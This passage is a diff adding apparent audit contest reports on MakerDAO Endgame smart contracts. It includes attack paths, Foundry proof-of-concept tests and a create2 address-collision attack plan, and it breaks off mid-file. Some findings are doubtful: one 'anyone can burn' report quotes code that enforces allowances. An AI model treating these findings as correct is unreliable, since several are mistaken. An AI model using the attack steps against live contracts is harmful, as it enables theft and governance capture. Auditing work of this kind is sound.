+## Recommendation +Ensure that only authorized addresses can call the burn function as instructed in the [Docs](https://docs.makerdao.com/smart-contract-modules/mkr-module) +```solidity +function burn(address from, uint256 value) external auth{// requires auth + uint256 balance = balanceOf[from]; + require(balance >= value, "LockstakeMkr/insufficient-balance"); + + if (from != msg.sender) { + uint256 allowed = allowance[from][msg.sender]; + if (allowed != type(uint256).max) { + require(allowed >= value, "LockstakeMkr/insufficient-allowance"); + + unchecked { + allowance[from][msg.sender] = allowed - value; + } + } + } + + unchecked { + balanceOf[from] = balance - value; // note: we don't need overflow checks b/c require(balance >= value) and balance <= totalSupply + totalSupply = totalSupply - value; + } + + emit Transfer(from, address(0), value); + } +} + +``` \ No newline at end of file diff --git a/010/058.md b/010/058.md new file mode 100644 index 0000000..1f31455 --- /dev/null +++ b/010/058.md @@ -0,0 +1,46 @@ +Soft Turquoise Turtle + +High + +# Anyone can burn anyone token + +## Summary +There is no authentication in the burn function ,anyone can call this function and burn other people tokens. +## Vulnerability Detail + function burn(address from, uint256 value) external { + uint256 balance = balanceOf[from]; + require(balance >= value, "SDAO/insufficient-balance"); + + if (from != msg.sender) { + uint256 allowed = allowance[from][msg.sender]; + if (allowed != type(uint256).max) { + require(allowed >= value, "SDAO/insufficient-allowance"); + + unchecked { + allowance[from][msg.sender] = allowed - value; + } + } + } + + unchecked { + // Note: we don't need an underflow check here b/c `balance >= value` + balanceOf[from] = balance - value; + // Note: we don't need an underflow check here b/c `totalSupply >= balance >= value` + totalSupply = totalSupply - value; + } + + emit Transfer(from, address(0), value); + } + + + +## Impact +people token will be lost. +## Code Snippet +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/endgame-toolkit/src/SDAO.sol#L297 +## Tool used + +Manual Review + +## Recommendation +@>> function burn(address from, uint256 value) external auth { \ No newline at end of file diff --git a/011.md b/011.md new file mode 100644 index 0000000..b3712f0 --- /dev/null +++ b/011.md @@ -0,0 +1,110 @@ +Cuddly Inky Rat + +Medium + +# Incorrect way of checking for overflow opened totalsupply to overflow breaking the invariant + +## Summary +The mint function in the provided Solidity code lacks proper overflow checks, which can lead to critical issues in the smart contract. +It was noted that the was check for overflow, yes there was but for ```balanceOf[to] = balanceOf[to] + value;``` but not for ```totalSupply = totalSupply + value;``` +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/endgame-toolkit/src/SDAO.sol#L278 +## Vulnerability Detail +The totalSupply is incremented directly without any overflow protection. If the value is sufficiently large, the addition can cause an overflow, resulting in an incorrect and misleading totalSupply +```solidity + function mint(address to, uint256 value) external auth { + require(to != address(0) && to != address(this), "SDAO/invalid-address"); + unchecked { + // Note: safe as the sum of all balances is equal to `totalSupply`; + // there is already an overvlow check below + balanceOf[to] = balanceOf[to] + value; + } + totalSupply = totalSupply + value; + + emit Transfer(address(0), to, value); + } +``` +The assumption is that at any given time, the sum of the balances of all accounts should exactly match the `totalSupply.` +The mint function is responsible for creating new tokens and adding them to a specific account (to). When minting new tokens, the `totalSupply` is increased by the amount minted. +The comment suggests that since the function directly increases both the `balanceOf[to]` and the `totalSupply` by the same amount, and assuming there are no other bugs or vulnerabilities, the sum of all balances should still match the totalSupply after the operation. + +Let's break down a simple example to understand the significance of this invariant: + +`totalSupply =` 1000 +`balanceOf[Alice] =` 500 +`balanceOf[Bob] =` 500 + +The sum of all balances `(balanceOf[Alice] + balanceOf[Bob])` is 1000, which matches totalSupply as said in the inline [comment:](https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/endgame-toolkit/src/SDAO.sol#L281C9-L282C56) +```solidity + // Note: safe as the sum of all balances is equal to `totalSupply`; + // there is already an overvlow check below +``` +The contract `mints` 100 new tokens to Charlie. +`totalSupply` is increased by 100 +`balanceOf[Charlie]` is increased by 100 +> Post mint + +`totalSupply` = 1100 +`balanceOf[Alice]` = 500 +`balanceOf[Bob]` = 500 +`balanceOf[Charlie]` = 100 + +The sum of all balances `(balanceOf[Alice] + balanceOf[Bob] + balanceOf[Charlie])` is now 1100, which matches the new totalSupply. + +But all that happened will not happen because it's an assumption. Total supply was never checked for overflow, which we can see in the mint function and is highly likely to happen. + +>Now + +`totalSupply` = 2^256 - 10 (very close to the maximum uint256 value) + +`balanceOf[Alice]` = 500 +`balanceOf[Bob]` = 500 +`balanceOf[Charlie]` = 0 +The sum of all balances is `balanceOf[Alice] + balanceOf[Bob] + balanceOf[Charlie]` = 500 + 500 + 0 = 1000, and `totalSupply` is 2^256 - 10. + +An `auth` calls the mint function to mint 20 new tokens to Charlie +`totalSupply` becomes 2^256 - 10 + 20, which causes an overflow. Since 2^256 is the maximum value for a uint256, adding any number greater than 2^256 - `totalSupply` causes the value to wrap around. + +`totalSupply` = 10 (due to overflow) +`balanceOf[Alice]` = 500 +`balanceOf[Bob]` = 500 +`balanceOf[Charlie]` = 20 + +the sum of all balances is balanceOf[Alice] + balanceOf[Bob] + balanceOf[Charlie] = 500 + 500 + 20 = 1020, but totalSupply is 10. This breaks the invariant that the sum of all balances should equal totalSupply. + +## Impact +Break the assumption that it can't overflow. + +## Code Snippet +```solidity + function mint(address to, uint256 value) external auth { + require(to != address(0) && to != address(this), "SDAO/invalid-address"); + unchecked { + // Note: safe as the sum of all balances is equal to `totalSupply`; + // there is already an overvlow check below + balanceOf[to] = balanceOf[to] + value; + } + totalSupply = totalSupply + value; + + emit Transfer(address(0), to, value); + } +``` +## Tool used +Manual Review + +## Recommendation +```solidity +function mint(address to, uint256 value) external auth { + require(to != address(0) && to != address(this), "SDAO/invalid-address"); + + // SafeMath-like checks for overflow + uint256 newBalance = balanceOf[to] + value; + require(newBalance >= balanceOf[to], "SDAO/balance-overflow"); + balanceOf[to] = newBalance; + + uint256 newTotalSupply = totalSupply + value; + require(newTotalSupply >= totalSupply, "SDAO/totalSupply-overflow"); + totalSupply = newTotalSupply; + + emit Transfer(address(0), to, value); +} +``` \ No newline at end of file diff --git a/011/022.md b/011/022.md new file mode 100644 index 0000000..f304f70 --- /dev/null +++ b/011/022.md @@ -0,0 +1,63 @@ +Micro Emerald Tortoise + +Medium + +# Improper Input Validation in the exec Function + +## Summary +The `exec` function in the `FlapperUniV2` contract lacks input validation for the `lot` parameter. This can lead to unexpected behavior and potential losses if a user provides an unreasonable or extreme lot size. + +## Vulnerability Detail +The exec function accepts a lot parameter, which represents the desired amount of liquidity tokens to mint. There are no checks to ensure that this value is within reasonable bounds. A user could potentially pass a very large or very small value for lot, which could have the following consequences: +- Large lot size: If the lot size is excessively large, it could result in a very large trade that may not be feasible given the available liquidity in the DEX. This could lead to high slippage or even failure of the transaction. +- Small lot size: An extremely small lot size might not be worth the gas costs associated with the transaction, making it economically inefficient. + +## Impact +The lack of input validation in the exec function opens up the possibility of unintended trades being executed. This could result in financial losses due to high slippage or inefficient use of gas. + +## Code Snippet + +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/dss-flappers/src/FlapperUniV2.sol#L141-L164 + +```solidity +function exec(uint256 lot) external auth { + // Check Amounts + (uint256 _reserveDai, uint256 _reserveGem) = _getReserves(); + + uint256 _sell = _getDaiToSell(lot, _reserveDai); + + uint256 _buy = _getAmountOut(_sell, _reserveDai, _reserveGem); + require(_buy >= _sell * want / (uint256(pip.read()) * RAY / spotter.par()), "FlapperUniV2/insufficient-buy-amount"); + // + + // Swap + GemLike(dai).transfer(address(pair), _sell); + (uint256 _amt0Out, uint256 _amt1Out) = daiFirst ? (uint256(0), _buy) : (_buy, uint256(0)); + pair.swap(_amt0Out, _amt1Out, address(this), new bytes(0)); + // + + // Deposit + GemLike(dai).transfer(address(pair), lot - _sell); + GemLike(gem).transfer(address(pair), _buy); + uint256 _liquidity = pair.mint(receiver); + // + + emit Exec(lot, _sell, _buy, _liquidity); + } +``` + +## Tool used + +Manual Review + +## Recommendation +add input validation to the `exec` function + +```solidity +function exec(uint256 lot, uint256 maxSlippage) external auth { + require(lot >= MIN_LOT_SIZE, "FlapperUniV2/lot-too-small"); + require(lot <= MAX_LOT_SIZE, "FlapperUniV2/lot-too-large"); + + // ... (rest of the function logic) +} +``` \ No newline at end of file diff --git a/011/023.md b/011/023.md new file mode 100644 index 0000000..36845a2 --- /dev/null +++ b/011/023.md @@ -0,0 +1,74 @@ +Micro Emerald Tortoise + +High + +# Reentrancy Vulnerability in `exec` Function + +## Summary +The `exec` function in the `FlapperUniV2` contract is susceptible to reentrancy attacks. This vulnerability could allow a malicious contract to re-enter the `exec` function before it completes, potentially draining funds from the contract. + +## Vulnerability Detail +The `exec` function performs multiple external calls: +- Token Transfer: It transfers DAI to the Uniswap pair contract `GemLike(dai).transfer(address(pair), _sell);`. +- Uniswap Swap: It calls the swap function on the Uniswap pair `pair.swap(_amt0Out, _amt1Out, address(this), new bytes(0));`. +- Token Transfer (Liquidity): It transfers DAI and GEM to the pair for liquidity minting `GemLike(dai).transfer(address(pair), lot - _sell);` and `GemLike(gem).transfer(address(pair), _buy);`. +- Liquidity Minting: It calls the mint function on the pair `pair.mint(receiver);`. + +If any of these external contract calls are to a malicious contract, that contract could exploit this vulnerability by calling back into the exec function before the original call completes. This could allow the attacker to repeat these actions multiple times within a single transaction, potentially draining funds from the contract. + +## Impact +A successful reentrancy attack could lead to significant financial losses for the contract owner and users. The attacker could drain the contract's DAI and GEM balances, disrupting its intended functionality. + +## Code Snippet + +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/dss-flappers/src/FlapperUniV2.sol#L141-L164 + +```solidity + function exec(uint256 lot) external auth { + // Check Amounts + (uint256 _reserveDai, uint256 _reserveGem) = _getReserves(); + + uint256 _sell = _getDaiToSell(lot, _reserveDai); + + uint256 _buy = _getAmountOut(_sell, _reserveDai, _reserveGem); + require(_buy >= _sell * want / (uint256(pip.read()) * RAY / spotter.par()), "FlapperUniV2/insufficient-buy-amount"); + // + + // Swap + GemLike(dai).transfer(address(pair), _sell); + (uint256 _amt0Out, uint256 _amt1Out) = daiFirst ? (uint256(0), _buy) : (_buy, uint256(0)); + pair.swap(_amt0Out, _amt1Out, address(this), new bytes(0)); + // + + // Deposit + GemLike(dai).transfer(address(pair), lot - _sell); + GemLike(gem).transfer(address(pair), _buy); + uint256 _liquidity = pair.mint(receiver); + // + + emit Exec(lot, _sell, _buy, _liquidity); + } +``` + +## Tool used + +Manual Review + +## Recommendation +Implement a reentrancy guard on the exec function + +```solidity +// Reentrancy guard +bool private locked; + +modifier nonReentrant() { + require(!locked, "FlapperUniV2/reentrancy"); + locked = true; + _; + locked = false; +} + +function exec(uint256 lot) external auth nonReentrant { + // ... (rest of the function logic) +} +``` diff --git a/012.md b/012.md new file mode 100644 index 0000000..7c7851b --- /dev/null +++ b/012.md @@ -0,0 +1,39 @@ +Helpful Dijon Spider + +Medium + +# MEV bots or regular users will frontrun the `univ2-pool-migrator` script and cause loss of funds for Maker + +### Summary + +The script `UniV2PoolMigratorInit` [burns](https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/univ2-pool-migrator/deploy/UniV2PoolMigratorInit.sol#L58-L59) the `lp` tokens of the old $DAI $MKR pair without checking minimum amounts or setting a deadline. Thus, mev bots or regular users may frontrun the spell with swaps, modifying the reserves and causing Maker to take a significant loss. The sensitiveness of burning tokens to the reserves can be confirmed by the fact that the `UniswapV2Router` specifically [asks](https://docs.uniswap.org/contracts/v2/reference/smart-contracts/router-02#removeliquidity) for minimum amounts out and deadline arguments and the $DAI $MKR `UniswapV2` pool presents significant price variation at times. + +### Root Cause + +In `UniV2PoolMigratorInit.sol`, the `lps` from the $DAI $MKR pair are [burned](https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/univ2-pool-migrator/deploy/UniV2PoolMigratorInit.sol#L58-L59) and the received amounts are not checked against a threshold deviation nor a deadline is enforced. + +### Internal pre-conditions + +None. + +### External pre-conditions + +1. Regular price movement that results in Maker taking a loss, which is likely as the pair is volatile or MEV can be performed. + +### Attack Path + +1. Maker executes the `UniV2PoolMigratorInit` script. +2. Users or a MEV bot frontruns the script and modifies the price. +3. The script is executed and Maker takes a loss and receives a very different number of $DAI and $MKR tokens. + +### Impact + +Maker takes a loss and receives less total value than expected. The amount of tokens received can vary significantly as the price is very volatile, as shown in the `POC` section, in just 1 minuted it changed `0.1%` up to `5.38%` in 1 day. + +### PoC + +[Here](https://www.geckoterminal.com/eth/pools/0x517f9dd285e75b599234f7221227339478d0fcc8) can be seen that at the time of writing, the price is volatile and changed `0,1%`, `1.1%`, `1.84%`, `5.38%` in the last 1 minute, 5 minutes, 6 hours, 24 hours. Thus, there is a big uncertainty in the amount of tokens actually received. + +### Mitigation + +Check the amounts received and ideally place a deadline to mitigate this loss, similarly to the validations performed in the [router](https://docs.uniswap.org/contracts/v2/reference/smart-contracts/router-02#removeliquidity). \ No newline at end of file diff --git a/012/037.md b/012/037.md new file mode 100644 index 0000000..9c6ae81 --- /dev/null +++ b/012/037.md @@ -0,0 +1,38 @@ +Micro Emerald Tortoise + +Medium + +# Salt Attack Vulnerability in VoteDelegateFactory create Function + +## Summary +The `create` function in the `VoteDelegateFactory` contract uses a predictable salt value (`bytes32(uint256(uint160(msg.sender)))`) when creating VoteDelegate contracts. This could lead to a salt attack, where an attacker can predict the address of the new contract and pre-create a contract at that address, potentially altering the contract's behavior. + +## Vulnerability Detail +The `VoteDelegateFactory` contract uses a salt to calculate the address of a newly created `VoteDelegate` contract. However, the current salt value is simply a hash of the user's address (`msg.sender`). If an attacker can predict the user's address, they can pre-calculate the `VoteDelegate` contract address and deploy a malicious contract at that address before the user initiates the transaction. + +## Impact +If an attacker successfully executes a salt attack, they can modify the behavior of the newly created `VoteDelegate` contract. This could lead to a loss of control over the voting delegation process, allowing the attacker to manipulate votes or perform other unauthorized actions. + +## Code Snippet +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/vote-delegate/src/VoteDelegateFactory.sol#L62 + +```solidity +voteDelegate = address(new VoteDelegate{salt: bytes32(uint256(uint160(msg.sender)))}(chief, polling, msg.sender)); +``` + +## Tool used + +Manual Review + +## Recommendation +a more random and unpredictable salt value should be used. One approach is to combine the user's address with some other random or unpredictable data, such as the current timestamp or a random number generated by an oracle. + +```solidity +function create() external returns (address voteDelegate) { ++ bytes32 salt = keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty)); // More random salt ++ voteDelegate = address(new VoteDelegate{salt: salt}(chief, polling, msg.sender)); + created[voteDelegate] = 1; + + emit CreateVoteDelegate(msg.sender, voteDelegate); +} +``` \ No newline at end of file diff --git a/012/069.md b/012/069.md new file mode 100644 index 0000000..206a5c4 --- /dev/null +++ b/012/069.md @@ -0,0 +1,65 @@ +Curved Cinnamon Tuna + +Medium + +# Replay Attack in VoteDelegateFactory Contract Creation Mechanism + +## Summary +`create` function uses a deterministic salt derived from `msg.sender` for the `create2` opcode. This approach can lead to replay attacks, where the same user can only create one `VoteDelegate` contract, and any subsequent attempts will fail due to address collision. + +## Vulnerability Detail +Issue: The `create` function uses `create2` with a salt derived from `msg.sender`: +```solidity +voteDelegate = address(new VoteDelegate{salt: bytes32(uint256(uint160(msg.sender)))}(chief, polling, msg.sender)); +``` +Problem: If the same user (`msg.sender`) calls `create` more than once, the salt remains the same, leading to the same contract address being generated. Since the address is already occupied by the first contract creation, subsequent calls will fail. + +## Impact +- Denial of Service +- User Experience + +## Code Snippet +https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/vote-delegate/src/VoteDelegateFactory.sol#L61-L66 + +## Tool used + +Manual Review + +## Recommendation +- Ensure that a `VoteDelegate` does not already exist for the user before allowing the creation of a new one. This prevents the replay attack by ensuring only one `VoteDelegate` per user. +```diff +function create() external returns (address voteDelegate) { ++ require(created[getAddress(msg.sender)] == 0, "VoteDelegate already exists"); + voteDelegate = address(new VoteDelegate{salt: bytes32(uint256(uint160(msg.sender)))}(chief, polling, msg.sender)); + created[voteDelegate] = 1; + + emit CreateVoteDelegate(msg.sender, voteDelegate); +} +``` +- Incorporate a unique value, such as a nonce, to ensure each `create2` call generates a unique address, even for the same user. +```diff +- function create() external returns (address voteDelegate) { +- voteDelegate = address(new VoteDelegate{salt: bytes32(uint256(uint160(msg.sender)))}(chief, polling, msg.sender)); ++ function create(uint256 nonce) external returns (address voteDelegate) { ++ bytes32 salt = keccak256(abi.encodePacked(msg.sender, nonce)); ++ voteDelegate = address(new VoteDelegate{salt: salt}(chief, polling, msg.sender)); + created[voteDelegate] = 1; + + emit CreateVoteDelegate(msg.sender, voteDelegate); +} +``` +- Maintain a nonce for each user to ensure unique salts without requiring the user to provide a nonce. +```diff ++ mapping(address => uint256) private nonces; + +function create() external returns (address voteDelegate) { +- voteDelegate = address(new VoteDelegate{salt: bytes32(uint256(uint160(msg.sender)))}(chief, polling, msg.sender)); ++ uint256 nonce = nonces[msg.sender]++; ++ bytes32 salt = keccak256(abi.encodePacked(msg.sender, nonce)); ++ voteDelegate = address(new VoteDelegate{salt: salt}(chief, polling, msg.sender)); + created[voteDelegate] = 1; + + emit CreateVoteDelegate(msg.sender, voteDelegate); +} + +``` \ No newline at end of file diff --git a/013/046.md b/013/046.md new file mode 100644 index 0000000..a90a6d5 --- /dev/null +++ b/013/046.md @@ -0,0 +1,43 @@ +Unique Pistachio Chipmunk + +High + +# Wrong access control for LockstakeEngine.freeNoFee() opens the door for urn owners to avoid paying ```tax```. + +### Summary + +LockstakeEngine.freeNoFee() should have the auth modifier to allow authorized access to enable promotion for free withdrawl. Howeve, the modifier is urnAuth(urn), therefore, the url owner can always call this function to free mkr from LockstakeEngine without paying any fee. There is no need to call other free functions, which will charge a fee. + +I believe the intended design is to use ``auth`` instead of ```urnAuth(urn)``` as the modifier to enable promotion, etc. Now this function opens the door for urn owners to avoid paying "tax". + +This attack can be replayed indefinitely, therefore, I mark this as *HIGH* + +### Root Cause + +LockstakeEngine.freeNoFee() has the wrong modifier ```urnAuth(urn)``` instead of ```auth```. + +[https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/dba30d7a676c20dfed3bda8c52fd6702e2e85bb1/lockstake/src/LockstakeEngine.sol#L354-L358](https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/dba30d7a676c20dfed3bda8c52fd6702e2e85bb1/lockstake/src/LockstakeEngine.sol#L354-L358) + +### Internal pre-conditions + +None. + +### External pre-conditions + +None + +### Attack Path + +The owner of an urn can simply call ```LockstakeEngine.freeNoFee()``` to free mkr without paying any fee. The owner will never call other free versions which needs to pay for a fee. + +### Impact + +The system will loss fee for withdrawal always since nobody will call other versions of free functions. They will always call ```LockstakeEngine.freeNoFee()``` to avoid the fee. + +### PoC + +An owner for a urn simply can call ```LockstakeEngine.freeNoFee()``` to avoid any fee. + +### Mitigation + +Change modifier from ```urnAuth(urn)``` to ```auth```. \ No newline at end of file diff --git a/013/082.md b/013/082.md new file mode 100644 index 0000000..b092efe --- /dev/null +++ b/013/082.md @@ -0,0 +1,88 @@ +Overt Garnet Dog + +Medium + +# missing auth modifier, causing loss of user funds when lock at different ``urn`` + +### Summary + +#### ``LockstakeEngine#lock`` and ``LockstakeEngine#lockNgt`` have no ``urnAuth(urn)`` modifier. + +#### As a result, everyone can "lock" with someone's urn. + +#### Unfortunately, once they "lock". They cannot claim they token, which is perform "free". + +### Root Cause + +look at these function [lock](https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/dba30d7a676c20dfed3bda8c52fd6702e2e85bb1/lockstake/src/LockstakeEngine.sol#L309-L320): +```solidity + function lock(address urn, uint256 wad, uint16 ref) external { + mkr.transferFrom(msg.sender, address(this), wad); + _lock(urn, wad, ref); + emit Lock(urn, wad, ref); + } + + function lockNgt(address urn, uint256 ngtWad, uint16 ref) external { + ngt.transferFrom(msg.sender, address(this), ngtWad); + mkrNgt.ngtToMkr(address(this), ngtWad); + _lock(urn, ngtWad / mkrNgtRate, ref); + emit LockNgt(urn, ngtWad, ref); + } +``` +#### So, everyone can perform "locking" with one's urn, since those functions do not use the ``urnAuth(urn)`` modifier. +#### The ``urnAuth(urn)`` modifier is for check that caller of ``urn`` owner or allowed to used ``urn``. + +#### Unfortunately, once they are "locked in", they cannot claim their token. Because the "free" function has ``urnAuth(urn)``. #### As a result, their token will belong to someone's `urn` that they used. + +```solidity + function free(address urn, address to, uint256 wad) external urnAuth(urn) returns (uint256 freed) { + + function freeNgt(address urn, address to, uint256 ngtWad) external urnAuth(urn) returns (uint256 ngtFreed) { + +``` + + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +#### As a result, users who ``lock`` with someone's ``urn``, their tokens will belong to that person. + +### PoC + +- paste this code to file ``LockstakeEngine.t.sol`` +- run with ``forge test --match-test test_lock_in_wrong_urn`` +```solidity +function test_lock_in_wrong_urn() public { + address andi = makeAddr("andi"); + vm.prank(andi); + address urnAndi = engine.open(0); + + address jhon = makeAddr("jhon"); + vm.startPrank(jhon); + deal(address(mkr), jhon, 100_000 * 10**18); + mkr.approve(address(engine), 100_000 * 10**18); + engine.lock(urnAndi, 100_000 * 10**18, 5); + + vm.expectRevert("LockstakeEngine/urn-not-authorized"); + engine.free(urnAndi, jhon, 100_000 * 10**18); + + } +``` + +### Mitigation + +```solidity ++ function lock(address urn, uint256 wad, uint16 ref) external urnAuth(urn) { ++ function lockNgt(address urn, uint256 ngtWad, uint16 ref) external urnAuth(urn) { +``` \ No newline at end of file diff --git a/014/063.md b/014/063.md new file mode 100644 index 0000000..7f12a36 --- /dev/null +++ b/014/063.md @@ -0,0 +1,577 @@ +Bitter Marmalade Iguana + +Medium + +# An attacker can exploit VD address collisions using create2 to lock some liquidations and withdrawals in Maker protocol + +## Summary + +An attacker can use brute-force to find two private keys that create EOAs with the following properties: +- The first key generates a regular EOA, referred to as `eoa1`. +- The second key, when used as a salt for VD creation, produces a VD with an address identical to `eoa1`. + +Since a VD (VoteDelegate) address depends solely on `msg.sender`. While this currently costs between $1.5 million and several million dollars (detailed in "Vulnerability Details"), the cost is decreasing, making the attack more feasible over time. + +The attacker can approve IOU tokens to an EOA, `attacker`, and then create a VD. By transferring IOUs to another address, the attacker can lock liquidations and withdrawals for anyone using this VD. + +## Vulnerability Detail + + +### Examples of previous issues with the same root cause: +> All of these were judged as valid medium +https://github.com/sherlock-audit/2024-01-napier-judging/issues/111 +https://github.com/sherlock-audit/2023-12-arcadia-judging/issues/59 +https://github.com/sherlock-audit/2023-07-kyber-swap-judging/issues/90 +https://github.com/code-423n4/2024-04-panoptic-findings/issues/482 + +#### Summary +[The current cost of this attack is less than $1.5 million with current prices.](https://github.com/sherlock-audit/2024-01-napier-judging/issues/111#issuecomment-2012187767) + +An attacker can find a single address collision between (1) and (2) with a high probability of success using a meet-in-the-middle technique, a classic brute-force-based attack in cryptography: +- Brute-force a sufficient number of salt values (2^80), pre-compute the resulting account addresses, and efficiently store them, e.g., in a Bloom filter. +- Brute-force contract pre-computation to find a collision with any address within the stored set from step 1. + +The feasibility, detailed technique, and hardware requirements for finding a collision are well-documented: +- [Sherlock Audit Issue](https://github.com/sherlock-audit/2023-07-kyber-swap-judging/issues/90) +- [EIP-3607, which addresses this exact attack](https://eips.ethereum.org/EIPS/eip-3607) +- [Blog post discussing the cost of this attack](https://mystenlabs.com/blog/ambush-attacks-on-160bit-objectids-addresses) + +The [Bitcoin network hashrate](https://www.blockchain.com/explorer/charts/hash-rate) has reached 6.5x10^20 hashes per second, taking only 31 minutes to achieve the necessary hashes. A fraction of this computing power can still find a collision within a reasonable timeframe. + +### Steps: +1. The attacker finds two private keys that generate EOAs with the following properties: + - The first key generates a regular EOA, `eoa1`. + - The second key, `eoa2`, when used as a salt for VD creation, produces a VD with the same address as `eoa1`. + +2. Call `IOU.approve(attacker, max)` from `eoa1`. +3. Call `voteDelegateFactory.create()` from `eoa2`: + 1. It creates `VD1`. + 2. `VD1` address == `eoa1` address. + 3. `VD1` retains the approvals given from `eoa1` in step 2. +4. Call `LSE.open` to create `LSUrn1`. +5. Call `LSE.lock(LSUrn1, 1000e18)` to deposit funds. +6. Call `LSE.draw(LSUrn1, attacker, maxPossible)` to borrow the maximum amount. +7. Call `LSE.selectVoteDelegate(LSUrn1, VD1)` to transfer MKR to `chief` and get `IOU` on `VD1`. +8. Call `IOU.transferFrom(VD1, attacker, maxPossible)`. +9. Now all liquidations will revert because `dog.bark` => `LSClipper.kick` => `LSE.onKick` => `LSE._selectVoteDelegate` => `VoteDelegateLike(prevVoteDelegate).free(wad);` => `chief.free(wad);` => [`IOU.burn`](https://etherscan.io/address/0x0a3f6849f78076aefaDf113F5BED87720274dDC0#code#L466) will revert. +10. The same is true for withdrawals of users who trusted this VD and delegated their funds to it, starting from `_selectVoteDelegate`, which is called on `free` and will revert: + 1. It's unexpected for users that the funds can be lost; they might only expect that their MKR could be used for malicious voting. + 2. An attacker can offer large rewards for delegating to his VD, as long as the attack remains unknown, users won't expect to lose their funds. + 3. The attacker can also use VD and all the MKR on it for malicious voting. Users didn't expect to give him voting rights indefinitely, increasing the chances of governance attacks. + 4. If the attacker could acquire a substantial amount of funds, they could select a `hat` by voting and gain full control of the protocol. + +[Link to create2](https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/vote-delegate/src/VoteDelegateFactory.sol#L62) + +### Variations: +- An `eoa1` can be replaced with a contract created by `eoa3`. The address of the contract can be brute-forced in the same way as `eoa1`. The contract performs step 2 instead of `eoa1` and self-destructs in the same transaction. +- Instead of using `eoa2` in step 1, the attacker can use a contract. A brute-forced EOA creates a contract that will create a VD such that the VD address equals `eoa1`. + - This contract can be a marketplace to sell voting power from the beginning or a proxy, allowing the attacker to profit by selling acquired voting power to others. + +## Impact + +The attacker can create non-liquidatable positions. All users who select the attacker's VD can lose their funds. All votes are permanently locked on the attacker's VD and can be used by the attacker for voting. Instead of `eoa2`, a contract can be used to allow others to vote and sell voting power, similar to [Curve bribing](https://hackernoon.com/inside-the-curve-wars-defi-bribes) or other governance attacks. + +If the attacker could acquire a substantial amount of funds, they could select a `hat` by voting and gain full control of the protocol. + +## Code Snippet +>PoC +1. Create `test/ALockstakeEngine.sol` in the root project directory. +
test/ALockstakeEngine.sol + +```solidity +// SPDX-License-Identifier: AGPL-3.0-or-later + +pragma solidity ^0.8.21; + +import "../dss-flappers/lib/dss-test/src//DssTest.sol"; +import "../dss-flappers/lib/dss-test/lib/dss-interfaces/src/Interfaces.sol"; +import { LockstakeDeploy } from "../lockstake/deploy/LockstakeDeploy.sol"; +import { LockstakeInit, LockstakeConfig, LockstakeInstance } from "../lockstake/deploy/LockstakeInit.sol"; +import { LockstakeMkr } from "../lockstake/src/LockstakeMkr.sol"; +import { LockstakeEngine } from "../lockstake/src/LockstakeEngine.sol"; +import { LockstakeClipper } from "../lockstake/src/LockstakeClipper.sol"; +import { LockstakeUrn } from "../lockstake/src/LockstakeUrn.sol"; +import { VoteDelegateFactoryMock, VoteDelegateMock } from "../lockstake/test/mocks/VoteDelegateMock.sol"; +import { GemMock } from "../lockstake/test/mocks/GemMock.sol"; +import { NstMock } from "../lockstake/test/mocks/NstMock.sol"; +import { NstJoinMock } from "../lockstake/test/mocks/NstJoinMock.sol"; +import { StakingRewardsMock } from "../lockstake/test/mocks/StakingRewardsMock.sol"; +import { MkrNgtMock } from "../lockstake/test/mocks/MkrNgtMock.sol"; + +import {VoteDelegateFactory} from "../vote-delegate/src/VoteDelegateFactory.sol"; +import {VoteDelegate} from "../vote-delegate/src/VoteDelegate.sol"; + + +contract DSChiefLike { + DSTokenAbstract public IOU; + DSTokenAbstract public GOV; + mapping(address=>uint256) public deposits; + function free(uint wad) public {} + function lock(uint wad) public {} +} + +interface CalcFabLike { + function newLinearDecrease(address) external returns (address); +} + +interface LineMomLike { + function ilks(bytes32) external view returns (uint256); +} + +interface MkrAuthorityLike { + function rely(address) external; +} + +contract ALockstakeEngineTest is DssTest { + using stdStorage for StdStorage; + + DssInstance dss; + address pauseProxy; + DSTokenAbstract mkr; + LockstakeMkr lsmkr; + LockstakeEngine engine; + LockstakeClipper clip; + address calc; + MedianAbstract pip; + VoteDelegateFactory voteDelegateFactory; + NstMock nst; + NstJoinMock nstJoin; + GemMock rTok; + StakingRewardsMock farm; + StakingRewardsMock farm2; + MkrNgtMock mkrNgt; + GemMock ngt; + bytes32 ilk = "LSE"; + address voter; + address voteDelegate; + + LockstakeConfig cfg; + + uint256 prevLine; + + address constant LOG = 0xdA0Ab1e0017DEbCd72Be8599041a2aa3bA7e740F; + + event AddFarm(address farm); + event DelFarm(address farm); + event Open(address indexed owner, uint256 indexed index, address urn); + event Hope(address indexed urn, address indexed usr); + event Nope(address indexed urn, address indexed usr); + event SelectVoteDelegate(address indexed urn, address indexed voteDelegate_); + event SelectFarm(address indexed urn, address farm, uint16 ref); + event Lock(address indexed urn, uint256 wad, uint16 ref); + event LockNgt(address indexed urn, uint256 ngtWad, uint16 ref); + event Free(address indexed urn, address indexed to, uint256 wad, uint256 freed); + event FreeNgt(address indexed urn, address indexed to, uint256 ngtWad, uint256 ngtFreed); + event FreeNoFee(address indexed urn, address indexed to, uint256 wad); + event Draw(address indexed urn, address indexed to, uint256 wad); + event Wipe(address indexed urn, uint256 wad); + event GetReward(address indexed urn, address indexed farm, address indexed to, uint256 amt); + event OnKick(address indexed urn, uint256 wad); + event OnTake(address indexed urn, address indexed who, uint256 wad); + event OnRemove(address indexed urn, uint256 sold, uint256 burn, uint256 refund); + + function _divup(uint256 x, uint256 y) internal pure returns (uint256 z) { + // Note: _divup(0,0) will return 0 differing from natural solidity division + unchecked { + z = x != 0 ? ((x - 1) / y) + 1 : 0; + } + } + + // Real contracts for mainnet + address chief = 0x0a3f6849f78076aefaDf113F5BED87720274dDC0; + address polling = 